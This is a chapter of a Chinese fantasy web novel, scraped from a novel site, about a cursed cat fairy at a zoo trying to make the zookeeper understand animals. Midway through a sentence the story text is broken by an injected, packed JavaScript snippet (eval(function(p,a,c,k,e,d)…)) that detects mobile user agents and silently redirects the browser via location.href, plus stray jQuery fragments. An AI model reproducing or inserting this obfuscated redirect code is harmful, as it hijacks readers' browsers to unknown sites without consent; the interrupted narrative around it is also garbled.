爱奇文学 > 玄幻小说 > 动物园直播:喵仙她真话超甜 > 15. 疼到微死了,疼到想睡觉

15. 疼到微死了,疼到想睡觉

    欧若拉说:“那…你到底开不开?”


    黎修羽将手从欧若拉身下抽走,整只手原本被包裹住的温热瞬间四散到无形的空气中。


    他盯着自己的手看,发现手背被压红了一小片。


    一瞬间的愣怔,竟让他不知道是因为什么而恍惚了。


    他抬眼看着远方,还是那扇窗户,透过窗户向外望去,还是能看到猴山。


    其实,也能看到这座动物园的其他地标建筑和小动物们。


    “不开。”黎修羽回应她。


    “你不开,我就把你的,你的,”欧若拉看着黎修羽放在桌子上的文物图纸,“你的唐三彩都打烂。”


    黎修羽挑一只眉:“你知道唐三彩在哪?”


    欧若拉摆摆爪子:“不知道,喵呜。但等我知道了,我就去让它们发臭!发烂!”


    黎修羽语气淡淡的:“那些文物是国家的,不属于我个人,你可以去打烂,代价无非是他们一定会把你扣住做研究,让你赔钱。”


    欧若拉往后退了两步,屁股将笔记本电脑屏幕撞得动了一下。


    “那你得来救我。”


    “不救。”黎修羽说。


    “你真就这么冷血?”欧若拉呲着牙问。


    黎修羽点了下下巴:“是的。”


    “那我只能未战先降咯。喵呜,真是个高冷的男人呀。”


    欧若拉在桌子上滚了一圈,伸直身子,粉色的粗尾巴扫过一张张文物图纸。


    她身旁的手机突然响了两下。


    “喵呜,有人跟你说话。”欧若拉伸着爪子,扒拉黎修羽的手机。


    黎修羽打开抖音。


    他的私信也仿佛被炸弹轰过了。


    他定睛一看,点开其中一条。


    “园…长…我…女…儿…病…直…播…”欧若拉一个字一个字地念着,念了几个字,立即扒拉黎修羽的手指,“直播我吧!这个人类也想看我!”


    黎修羽拿起手机。


    “哼,不给我看,我还就稀罕呢,呸…”


    欧若拉又想揍自己的嘴了。


    她捂着嘴,又躺回桌子上。


    私信的内容是这样的:


    园长您好,不好意思打扰您了(祈祷/祈祷/祈祷)。我是一名95后妈妈,我女儿今年七岁,患白血病第二年了,前天刚做了化疗,情况不太乐观。昨天我给她看手机,她刷到您的动物园了!她特别特别喜欢您的动物们,尤其是那只白色的小猫,只要看见白色小猫的视频,哪怕在ICU里,她也会露出微笑。今天她跟我说,看见小猫那么坚强,那么有趣,她也可以稍微不那么怕病痛了。我没条件,没办法带女儿去您的动物园里参观,今天在网上搜索到您的账号,这便来给您留言了,但愿您能看得到。请您一定要考虑一下直播和拍视频呀(祈祷/祈祷/祈祷),我们全家都在期待您的更新。(祈祷/祈祷/祈祷)


    黎修羽盯着这条私信看了很久,久到欧若拉在他面前晃来晃去,将笔洗打翻,也难以吸引走他的注意力;久到欧若拉趴在他的图纸上睡着了,他才放下手机。


    此时月亮已走到西边。


    园区里面,不知道哪些个动物轻轻叫着。


    黎修羽伸出手,手掌即将抚摸到欧若拉的白色脑袋时,又停止了动作。


    他顿了顿,不知在思考什么,将欧若拉轻轻抱起,放到床铺上了。


    他和衣躺下,躺在熟睡的小猫身边。


    虽然和这只小猫中间也隔了一段距离,下意识的想要触碰小猫的手也终于放弃,但他总觉得,自己似乎是生平第一次没那么讨厌动物,可也只是没“那么”讨厌而已。


    半夜,欧若拉醒了。


    她用尾巴卷着黎修羽的手指,把手机解锁,打开抖音,盯着那条私信看了好久。


    她不知道白血病是什么。


    但听这个母亲的描述,似乎是很严重很严重的病。


    这屏幕太亮了,以至于让她觉得她的眼睛涩涩的,就像有液体要流下来似的。


    尾巴扫过眼睛,她轻轻地揉了揉眼,往远处看去。


    好亮呀。


    今天一定是满月吧。


    她踩过黎修羽的身体,跳下床,又扒拉开窗帘,跳到窗台上。


    桂魄仙子在跟局长约会吗?


    可恶的局长,没有我这个捣蛋鬼了,你真的会更开心吗?


    已经来到人间好些天了,天宫没有下来一个同事对她表达慰问,连她最好的好朋友阿金也没再联系她。


    狗阿金,你还欠我半瓶玉露呢。


    她眨眨眼睛,小爪子举起来,隔着玻璃,描摹着月亮的形状。


    她想起在天上的日子。


    每逢农历十五,她总要趁着月色去天宫其他局子里偷着玩闹。


    因为天宫有个这样的规矩,农历十五的时候,每一位天宫公务员都必须在夜晚到来之前就待在原地不动。


    不论身在何处。


    更不可以观赏月亮。


    可欧若拉偏不。


    事实证明,就算违反了这个不合理的规定,也没有人就真的会惩罚她。


    欧若拉总是趁着月色将月桂树上的果子摘下来,藏到局长大人床底下。


    她也总是去太上老君的玄都八景宫里转悠,将老君藏在电冰箱里的仙丹喂给狗同事吃。


    仙…丹…


    呃。。。


    对啊!


    对啊!


    她全都想起来了!


    黎修羽之所以能对她越来越宽容,甚至她不用逮老鼠也会给她小鱼干吃,一定是因为她可以跟黎修羽交流,她可以向他诉说她的心里话!


    可那些动物不可以呀。


    这个凡夫俗子不知道那些动物在想什么,那人类的笨蛋脑子又怎么能跟动物共情呢?


    他那么讨厌动物,一定是因为他还不知道动物们的可爱之处。


    对!一定是这样的。


    只要让他听见动物们的真实想法,他一定可以改变观念的!


    既然如此,我就…


    不要啊…喵呜…难道我必须得伸出爪爪,从太上老君的炼丹阁里摸一颗百兽糖,并承担一万两黄金的罚款吗?


    我才来几天呀?


    喵呜!一分钱没赚呢,就又要搭进去一万两了!


    可是…


    她用爪子扒拉开窗帘,借着月光,看着黎修羽熟睡的侧脸。


    她看了他很久。


    终于,她咬咬牙。


    “一万两就一万两,多一分都没得了!等我上电视爆红,我一定要狠狠地把这一万两黄金赚回来!”


    她对着天空,伸出爪爪,用尽全身力气,咬着牙。


    “go!go!go!giveme,百兽糖eon.”


    她手中赫然出现一颗百兽糖。


    “喵呜!”欧若拉笑起来。


    但她不知道的是,由于她的法力实在被削弱了太多,根基不稳,力量传到太上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526376|203524||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老君的电冰箱时,已经发生了轻微扭曲。


    所以,装有百兽糖的瓶子被她打倒了,还有一颗百兽糖也落下凡间。


    只是不知道落到哪里去了。


    “罪犯欧若拉——惩罚目标增加一万两黄金——罪犯欧若拉——惩罚目标增加一万两黄金——罪犯欧若拉——”遥远的天界传来一阵阵回响,局长大人机械地念着播报。


    “知道啦!”欧若拉朝天空吐了吐带刺的小舌头,“这个讨厌鬼语气这么沮丧,一定是我这次行动又打扰到他的约会了吧?爽!爽了!啊,好痛!”


    她猛然捂住胸口。


    她强烈地感受到,骨头下面藏着的小心脏正在使劲儿抽动,害得她龇牙咧嘴,好不难受。


    “可恶啊,原来这就是小小的不一样的感受,你们太恶毒了,等我回去,我一定要把你们都丢去泥巴坑里陪那个讨厌鬼。”


    她缓了好一会儿,踩终于吐出口气。


    “疼到微死了,疼到想…想睡觉,喵呜。”


    她又歪歪头,看着黎修羽。


    月色下,黎修羽的呼吸很平稳。


    好困啊。


    照例,她迷迷糊糊地挪到黎修羽胸膛上,迷迷糊糊地对着黎修羽的嘴唇“吧唧”一口。


    “香…啊呜。”


    她将毛茸茸的爪子搭在黎修羽的喉结上,吧唧吧唧嘴,又睡着了。


    黎修羽被她弄醒了,他睁开眼,摸了摸自己的嘴。


    月亮从被拉开的窗帘缝隙里悄悄跑进来,映在这只小动物的雪白的毛皮上,闪着银光。


    借着月光,黎修羽将嘴边粘着的毛摘下,定睛看了好久。


    第一天,欧若拉将百兽糖泡到黎修羽每天早晨都要喝的冰美式里。


    黎修羽刚要喝,就端去厨房倒掉了。


    “怎么有股草味儿。”


    欧若拉立即从洗碗池里把糖捞出来,捧在爪心,用力吹干。


    “可恶!”


    第二天,她把百兽糖塞进黎修羽每天都要吃的海盐花生酱里。


    黎修羽嚼了一下,吐掉了。


    “这里面怎么会有石头?”


    欧若拉从垃圾桶里把糖扒拉出来。


    “可恶!”


    第三天,欧若拉没招了,敲响了门卫室的窗户。


    “哈哈,是猫仙奶奶啊。”


    欧若拉跳进屋内,跳到桌子上,舔舔李大爷刚泡好的陈茶。


    “渴死我了,渴死我了,太可恶了,太可恶了!”欧若拉伸着带尖刺的小舌头,往外哈气。


    “小黎园长又惹您不开心了?”李大爷坐到太师椅上,抿了口茶。


    “他简直油盐不进!”


    欧若拉一爪拍在桌子上,在桌子上落下一个凹下去的小猫爪印。


    欧若拉跳到太师椅的扶手上:“你!你说黎修羽父母是你的恩人,那你也一定非常了解黎修羽吧!”


    “说实话,我跟小黎园长没咋见过。”李大爷摇啊摇,“他只在动物园刚建好的时候来过一次。”


    “喵呜,有这么好的近距离观察动物的机会,他竟然完全不把握?看起来他真的真的非常不喜欢小动物诶!真是个心软的男人!!!”欧若拉恶狠狠地说。


    什么?!


    她怎么…会脱口而出说黎修羽心软呢?


    难道…这个男人真的是个心软的男人???


    毕竟现在她可是一只受过诅咒的小猫咪,从她口中说出的话一定都是真的。